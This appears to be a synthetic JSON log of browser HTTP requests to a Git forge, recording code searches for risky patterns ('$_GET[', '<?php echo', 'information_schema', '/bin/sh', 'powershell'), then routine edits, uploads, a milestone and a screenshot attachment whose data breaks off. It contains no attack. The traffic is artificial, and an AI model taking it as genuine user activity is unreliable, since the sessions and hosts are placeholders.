{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/----------------.de1a9813.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-yaml_dist_index_js.4f1c0b18.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=bbe5223a9a4f84e7c3d7206f4bdd062239e8309b&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=2a8b9144333b5cb8075a74c64b31dbaa7ea02b3c&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "GET", "target": "/assets/js/---.8673fbd3.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/------.2befb329.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-markdown_dist_index_js.eef88d50.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 224", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4q9JlyMIwlkOQ1ZY", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundary4q9JlyMIwlkOQ1ZY\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n------WebKitFormBoundary4q9JlyMIwlkOQ1ZY--\r\n"}
{"method": "POST", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 229", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tree_path=&files=cde01135-f509-483d-af4a-56d1f754aa2c&files_fullpath%5Bcde01135-f509-483d-af4a-56d1f754aa2c%5D=notes.txt&commit_summary=Add+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/labels", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/colorpicker.6c3c1b7d.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/colorpicker.eb94c3c5.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 36", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Version+1.1&deadline=&content="}
{"method": "GET", "target": "/alice/tools/milestones", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Bmilestone%2B%2522Version%2B1.1%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/issues/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 5018", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZATiKc8Kvm2f9kjJ", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryZATiKc8Kvm2f9kjJ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"screenshot.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAEAAAAAoCAIAAADBrGu+AAASpklEQVR4nBXYkZ+0UBTG8YENNthggwk22GCCDSaYYJIkSZIkSZIkSX6SJEmSJEmSJEmSJMnKyMjKysrKyMjIyrzz9hfc7/2ce85z2mw2CBvEDdIGeYOyQd2gbdA3GBvMDdYGe4Ozwd3gbfA3BBvCDdGGeEOyId2QbWBDvqHYUG6oNtQbmg3thm5Dv2HYMG6YNswblg3rhs8Npw3nDV8bvjf8bPjdcNlw3XDb8LfhvuFpw/OGlw2vG7Yb3ja8b9ht+Niw33DYcNyw2QgIAqKAJCALKAKqgCagCxgCpoAlYAs4Aq6AJ+ALBAKhQCQQCyQCqUAmgEAuUAiUApVALdAItAKdQC8wCIwCk8AssAisAp8CJ4GzwJfAt8CPwK/AReAqcBP4E7gLPAk8C7wIvApsBd4E3gV2Ah8Ce4GDwFF4AEQEEVFEEpFFFBFVRBPRRQwRU8QSsUUcEVfEE/FFApFQJBKJRRKRVCQTQSQXKURKkUqkFmlEWpFOpBcZREaRSWQWWURWkU+Rk8hZ5EvkW+RH5FfkInIVuYn8idxFnkSeRV5EXkW2Im8i7yI7kQ+RvchB5Cg+ABKChCghScgSioQqoUnoEoaEKWFJ2BKOhCvhSfgSgUQoEUnEEolEKpFJIJFLFBKlRCVRSzQSrUQn0UsMEqPEJDFLLBKrxKfESeIs8SXxLfEj8StxkbhK3CT+JO4STxLPEi8SrxJbiTeJd4mdxIfEXuIgcZQeABlBRpSRZGQZRUaV0WR0GUPGlLFkbBlHxpXxZHyZQCaUiWRimUQmlclkkMllCplSppKpZRqZVqaT6WUGmVFmkpllFplV5lPmJHOW+ZL5lvmR+ZW5yFxlbjJ/MneZJ5lnmReZV5mtzJvMu8xO5kNmL3OQOcoPgIKgICpICrKCoqAqaAq6gqFgKlgKtoKj4Cp4Cr5CoBAqRAqxQqKQKmQKKOQKhUKpUCnUCo1